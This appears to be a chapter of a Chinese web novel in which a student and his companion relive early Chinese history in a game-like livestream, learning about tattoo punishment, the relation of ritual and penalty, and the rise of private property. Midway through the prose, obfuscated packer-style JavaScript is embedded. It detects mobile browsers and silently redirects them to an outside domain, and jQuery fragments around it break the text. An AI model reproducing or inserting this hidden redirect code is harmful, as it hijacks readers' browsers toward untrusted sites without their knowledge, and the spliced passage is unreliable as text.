温初辞认命地挥着石耙，祈祷仪表盘能早点触发剧情。


    他真的已经感受到农业文明下人们的辛苦了，切身实地从酸疼的腰、咔咔作响的膝盖、还有快要被磨破皮的双手感受到了。


    “儿啊，今年大旱，收成又是少得可怜，你娘去摘了写果子，去吃点东西填填肚子吧。”


    一个皮肤黝黑，身形健壮的中年男子快步走来，肩上扛着一个农具。


    “好，谢谢……爹。”


    温初辞磕磕巴巴地说着，努力扮演好自己的角色。


    他觉得自己一趟下来，演技是进步得最快的。


    上了点年纪的妇人把洗干净的果子放进温初辞的手里，捧着他被农具磨红的手，心疼地说了些话。


    “我没事的，这点红很快就消了。”


    温初辞嚼着野果，认真地回答道。


    “我们还得扩大种植面积，如果种植得再多一些，再精细一些，总能再多收获一点。”


    妇人面目慈祥，拍了拍温初辞的脑袋。


    “辛苦你们爷俩，今年的天气实在太怪了。”


    温初辞看向田地里东倒西歪的作物，默默地叹了口气。


    农业文明靠天吃饭，农具都是用石头简单打磨出来的，虽说比打猎安全可靠，但作物产出率低，远古人民没有对抗天灾的能力，总是吃了上顿没下顿。


    他们家的劳动力不多，生更多的后代意味着更多人需要粮食，即使足够勤劳，过的日子也很清苦。


    部落吹起了骨哨，清脆的声音唤回了温初辞飘走的思绪。


    报信的人跑到他们面前，气喘吁吁地撑着树干缓气。


    “部落征战告捷，首领让各家去领俘虏，帮助大家种地。”


    「有更多人帮忙了诶，之前对俘虏就是直接杀掉的，现在会留下来鞭挞干农活诶」


    「这是奴隶制度的雏形吗？」


    「农业文明需要劳动力啊，俘虏这么好的劳动力不压榨一下直接杀掉的话，多可惜啊。」


    【肉刑的诞生：农业文明发展之后，压榨俘虏的剩余价值，由死刑发展而来[1]】


    温爹带着温初辞一起来到了部落中心，那里跪着好几个身强力壮的男子。


    他们的身上带了伤，脸上也被打得鼻青脸肿的。


    “挨个来，一家可以领一个！”


    一把锋利的刀具递到了温初辞的手里。


    首领指了指第一个跪着的男子，对温初辞说道：


    “为了用作区分，你需要在他的脸上刻上符号，然后用我们部落特制的树汁覆在伤口上。”


    “黑色的印记会一直留在他的脸上，我们也能知道他是俘虏，而非我族人。”


    温初辞拿着刀，比在了男人的脸上。


    「好聪明的法子，这样的话，完全不会影响俘虏劳作诶」


    「既能区分身份，又最大程度上保留了劳动力，一举两得」


    温初辞咽了口唾沫，硬着头皮往男人的脸上划出一个口子。


    黑乎乎的树汁倒在了伤口上，男人发出一声痛哼。


    【墨：肉刑之一，是指在罪犯的脸颊部位刻字，用于区分[2]】


    “这样极好，有了人帮忙，我们做的活儿也轻松一些。”


    温爹高兴地说着，拽着俘虏往住处走。


    温初辞跟在身后，看了看男人脸颊处黑色的伤痕和周围疑似发炎的红肿。


    他垂下眸，盯着自己的脚尖走路。


    “小辞，那只是一个NPC而已。”


    法渊并排着走在他的身边，本就狭窄的乡间小路显得更加狭小了。


    “我没有难过，只是有些感慨。”


    温初辞指了指走在前面的男人，又指了指自己。


    “现在有三个不同等级的人了，首领和祭司，我，还有俘虏。”


    【触发支线知识点：阶级形成的雏形[3]】


    仪表盘突然传来声音。


    【首领与祭司掌控资源与决策权，普通部民承担生产任务，而战俘则被剥夺自由，成为最底层的劳动力。】


    【这一阶段形成了以血缘、权力与生产关系为基础的初步社会分层结构，出现阶级制度的雏形。】


    “法渊，那个人会服管吗？就像之前阿北说，俘虏跟着他们打猎，不会好好听话的。”


    “那让他们种地，他们就会听话吗？”


    温初辞跟在后面，抬头看俘虏高大的背影，顾虑道。


    “打猎需要人们众志成城，齐心协力，种地又不需要。”


    正说着，温爹抄起一根棍子，打在男人身上，吆喝着让男人到地里去。


    那个刻在男人脸颊上的刺字变成了一个枷锁，一个象征着人不再是人的标志。


    那人一开始是不屈服的，在温爹往他身上打了好几棍，将他推到田地里之后，他还是拿起农具，慢腾腾地干起活儿来。


    “今天要是不干完这点活，别想休息！”


    “成王败寇，败了当上俘虏，就是干活的命。”


    温初辞站在田边，看着脸上刻字的男人躬身，艰难地耕地，脸上的刺字碰了汗水，变得更红。


    他想起了耕牛，也是如此被人推到地里，辛辛苦苦地劳作。


    “墨是肉刑里面最轻的一种吗？我怎么觉得不是呢？”


    温初辞问道。


    “因为你不属于这个时代，你所在的文明，将尊严和人格，看作是比生命还要重要的东西。”


    “对于这些人而言，不缺胳膊少腿地活着，更加重要。”


    【特别提示，原始社会的五刑分为死刑和四个肉刑。】


    【肉刑后被后世所沿用，故剩余三个肉刑，将在夏朝具体恢复。】


    【现进入朝代转化情节，宿主或弹幕回答以下问题后即可通关，前往下个世界。】


    【请回答：原始社会下礼和刑的关系[4]】


    温初辞被突然出现的问题问得猝不及防。


    怎么还有这个环节呢？


    他紧张地攥起拳头，努力回想着这段时间发生的事情。


    “别紧张，慢慢来。”


    法渊把自己的电子笔记本递给温初辞，上面详尽地记录了所有仪表盘出现过的文字。


    “抛掉拓展的支线剧情，这是这个时代最常考的问题，在各个高校的期末考试里，考频很高。”


    温初辞翻着笔记，很努力地整理起自己的语言。


    在原始社会玩得开心，他差点忘了法渊一开始答应自己要期末复习的。


    他翻着法渊的笔记，整理起自己的思路：


    “古代法制主要分成礼和刑两个部分。”


    “在法律起源里，礼发挥着习惯法的功能，调整社会关系，约束人们的行为。”


    “刑发挥着维护礼的作用，对违反者实行制裁。”


    【1】


    “总结，中国古代法制在成立之初便具有礼刑兼备的特征。”


    法渊在一旁补充道。


    仪表盘亮出绿光。


    【恭喜宿主答对问题】


    温初辞重重地呼了口气，感觉自己写了一个简答题。


    「主播我会了！」


    「一路过来看主播受苦，礼始于祀，刑始于兵这八个字已经刻入我的骨髓里了……」


    温初辞认同地点点头。


    他现在也记忆深刻。


    【请宿主前往下一个时空】


    【国家的建立】


    【您的身份是：部落的普通农民】


    时间线推进，田地上已经看不见脸上刻了字的俘虏和陌生的爹妈了。


    没有改变的是，温初辞还是拿着农具，只是换上了打磨之后像青铜一样石器。


    眼前是一片长得稀稀拉拉的作物，是温初辞认不出来的作物。


    他想起了一句“草盛豆苗稀”。


    “这是黍，当然是远古形态的作物，和演变之后的样子不一样。”


    法渊在旁边解释道。


    “它已经和你在新石器时代看到的作物要高产很多，是农民们筛选种子，精耕细作的结果。”


    温初辞拿着农具翻土，抡起很重的石器，重重地砸下去，手掌都会被震麻。


    他按照仪表盘的指示干活，没一会儿就又累又饿。


    “开饭了！”


    不远处的农人喊道。


    温初辞丢下农具，踩着松软的泥土，往饭点跑，硬是跑出了高中最后一节课下课抢午饭的气势。


    「看给孩子饿的……」


    「这一溜烟跑出残影了」


    温初辞捧着一碗清得能数清楚有几颗黍的稀粥，心里瞬间凉了半截。


    他张望着周围人的碗，发现大家都和他一样喝着清粥，吃着腌制的咸菜，彻底心死了。


    “什么时候可以吃肉呀！我们今天喂了好多小动物。”


    小孩天真的声音传来。


    温初辞也向那个大人投去殷切的目光。


    “不可以，小宝，我们的食物是有限的，那厮要用来下蛋的。”


    这个时候的人们已经开始了种地和养殖，生活质量相较于上个时代明显要好一些。


    但温初辞还是很饿，他从来没在粮食充足的现代受过这种苦。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160828|180625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大家围坐在一起，吃完了少得可怜的食物。


    温初辞坐在田埂边休息，揉着自己发红发肿的手心，隐约感觉皮肤上已经生起一层薄茧。


    说是沉浸式学习直播间，这也有点太沉浸了……


    “我就不能用一点好的工具吗？比如铁犁，或者顺便搞个小型水车？”


    温初辞摆烂地躺在田地上，也顾不上泥地是不是干净。


    “你干脆在这里开启工业革命好了。”


    温初辞一下子坐起来，兴奋地抬起头，眼睛亮亮的。


    “可以吗？”


    法渊反问道：“你觉得呢？”


    小辞同学重新躺回了地上。


    「那就不是中国法制史进修直播间了，是《穿越到原始部落，从工业革命开始》」


    「给我/干到什么频道去了？」


    温初辞摸摸自己空瘪的肚子，盯着天空看都有些恍惚了。


    “可是我真的好饿……再这样下去，我就要产生幻觉，把你当成一个大面包，然后啃你的手臂充饥了。”


    法渊蹲在他身边，衣服堆在地上，却没有沾染上泥尘。


    “你可以试试。”


    一个绝望的大学生闭上了眼睛。


    「谁还记得我们小辞是柔弱大学生啊……」


    「给孩子皮肤都晒成小麦色了」


    【公天下[5]】


    【古代生产力低下，剩余财产几乎为零，部落将粮食收集起来，平均分配，没有私有财产，形成公天下的格局】


    仪表盘的声音说完，法渊站起身，向躺在地上的温初辞伸出手。


    “触发快进条件了，我们走。”


    温初辞从地上蹦起来，抓住了法渊的手，站了起来。


    饥饿和疲惫让他眼冒金星，站着晃了好久才完全缓过来。


    时间往前推进，眼前的田地上，黍穗生长得茂密。


    一个农人手里拿着锋利的青铜器，一刀下去，地里立刻倒下一片成熟的黍穗。


    “哇……”


    见证了早期农业文明的温初辞感叹出声，挽起袖子，准备大干一场。


    他的手中却没有农具。


    “你是什么人！怎么在我的田里？是不是贼人？光天化日之下，怎能行偷盗之事？”


    那人拿着镰刀，对着温初辞的鼻子，面露凶狠。


    “愣着干什么，跑啊！”


    法渊抓起温初辞的手腕，大步往田地外面跑。


    后面的声音越来越小，变成了遥远的骂声，直到完全听不见了。


    温初辞停下来了，撑着双膝，重重地喘气。


    他本就饥饿，现在又被追着跑了大半个田地，眼前偶尔一黑，差点背过去。


    他的刷新点有点坑，竟然给他刷新在了别人的田地上。


    这个“别人”的概念比上一个时期还要分明，那个农人看到狼狈的陌生人出现在田地，第一反应就是贼人。


    同样的，个人的概念也比上一个时期明确。


    “怎么会这么饿？这是仪表盘调整的数值吗？”


    温初辞一手搭在法渊的肩膀上，脸上没什么血色，嘴唇都变得苍白。


    “我不会死在这里吗？”


    “不会的。”


    法渊扶住他。


    天色渐暗，山坡上火光连绵，石器碰撞的声音震得人耳膜生疼。


    温初辞闻到了肉类烹饪的味道，他拽着法渊往那处走，也顾不上前方是什么情况。


    他靠近一些，听见了不少人断断续续的哭声。


    不远的石台上铺着一层白布，看起来像是躺了一个死去的人。


    台子上摆满了青铜器，雕刻成各种各样的形状，还有一些亮晶晶的矿石。


    水果的清香和煮熟的肉香混合着传来，温初辞的肚子“咕噜”直响。


    无论是食物，还是各种雕刻器，都是部落里珍贵的财富。


    是温初辞扮演的穷苦族人无法想象的财富。


    像温初辞一样的人挨着饿，这个富人的葬礼却办得如此风光。


    族人身上涂了各种颜料，扭曲的线条构成诡异的图腾。


    他们口中低吟着古老的歌，厚重的嗓音吟唱着神秘的音节。


    温初辞小心翼翼地躲在哭泣的人群角落，默默地注视着眼前的仪式。


    仪式持续到了深夜，有族人将煮好的牛羊肉块分在石器里，分给参加葬礼的人。


    温初辞捧着一块冒着热气的熟肉，飘香的味道让他不停分泌着唾液。


    【私有财产的产生】


    仪表盘的声音响起。